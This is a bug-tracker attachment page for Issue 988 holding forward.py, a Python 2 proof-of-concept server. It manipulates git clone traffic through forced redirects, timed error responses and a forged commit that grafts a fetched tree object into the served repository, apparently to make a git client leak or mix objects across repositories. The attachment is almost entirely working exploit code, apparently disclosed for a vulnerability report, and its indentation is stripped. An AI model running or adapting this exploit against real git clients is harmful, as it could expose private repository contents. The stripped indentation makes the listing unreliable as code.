New issue
Advanced search Search tips

Issue 988 attachment: forward.py (3.0 KB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
import SimpleHTTPServer
import SocketServer
import os.path
import re
import time
import os
import shutil
from io import BytesIO
from gitdb.base import IStream
import git
import gitdb
import binascii

try:
shutil.rmtree('tempdir')
except:
pass
shutil.copytree('.git', 'tempdir')
os.chdir('tempdir')

state = 0
state_2_time = None
tree_objid = None

def object_id_by_path(path):
object_pat = re.compile('^/objects/([0-9a-f]{2})/([0-9a-f]*)')
m = object_pat.match(path)
if m == None:
return None
return m.group(1) + m.group(2)

class myHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_forward(self):
print ' forwarding'
self.send_response(301)

# downgrade smart to dumb protocol
path = self.path.split('?')[0]

# important: append dummy suffix to make git treat this as an
# "insane redirect scheme" and not cache the redirect locally.
dummy_suffix = '?dummy=dummy'

new_path = '%s%s%s'%('http://localhost:8001', path, dummy_suffix)
self.send_header('Location', new_path)
self.end_headers()

def do_error(self):
print ' sending error'
self.send_response(500, 'temporary error, please try again')
self.end_headers()

def do_GET(self):
global state, state_2_time, tree_objid
objid = object_id_by_path(self.path)
print self.path
if state == 0:
if objid != None:
# fetching the commit
state = 1
self.do_forward()
return
if state == 1:
if objid != None:
# fetching the tree
print 'got tree object id: ' + objid
tree_objid = objid
state_2_time = time.time()
state = 2
self.do_error()
return
self.do_forward()
return

if state == 2:
if state_2_time + 1 < time.time():
print '### ADVANCING TO STATE 3'

repo = git.Repo('.')
cm_orig = repo.heads.master.commit
tree = cm_orig.tree
tree.cache.add_unchecked(binascii.unhexlify(tree_objid), 16384, 'boring_subdir')
tree.cache.set_done()

sio = BytesIO()
git.objects.fun.tree_to_stream(tree._cache, sio.write)
sio.seek(0)
istream = repo.odb.store(IStream(gitdb.typ.str_tree_type, len(sio.getvalue()), sio))
tree.binsha = istream.binsha
print tree

new_cm = git.Commit.create_from_tree(repo, tree, 'newest commit', parent_commits=[cm_orig], head=True)
print new_cm

os.system('git update-server-info')

print '### GIT COMMIT CREATED'

state = 3
else:
print 'not advancing'
self.do_error()
return

# Code starting now should only run on second clone attempt.
# Mix the two repos: Objects and metainfo that exist in our repo are served from
# our repo, objects we don't have come from the remote repo.
path = self.translate_path(self.path)
if os.path.isfile(path) and not path.startswith('/objects/info/packs'):
print ' sending file'
f = self.send_head()
if f:
try:
self.copyfile(f, self.wfile)
finally:
f.close()
else:
self.do_forward()

PORT = 8000
SocketServer.TCPServer.allow_reuse_address = True
handler = SocketServer.TCPServer(("", PORT), myHandler)
print "serving at port 8000"
handler.serve_forever()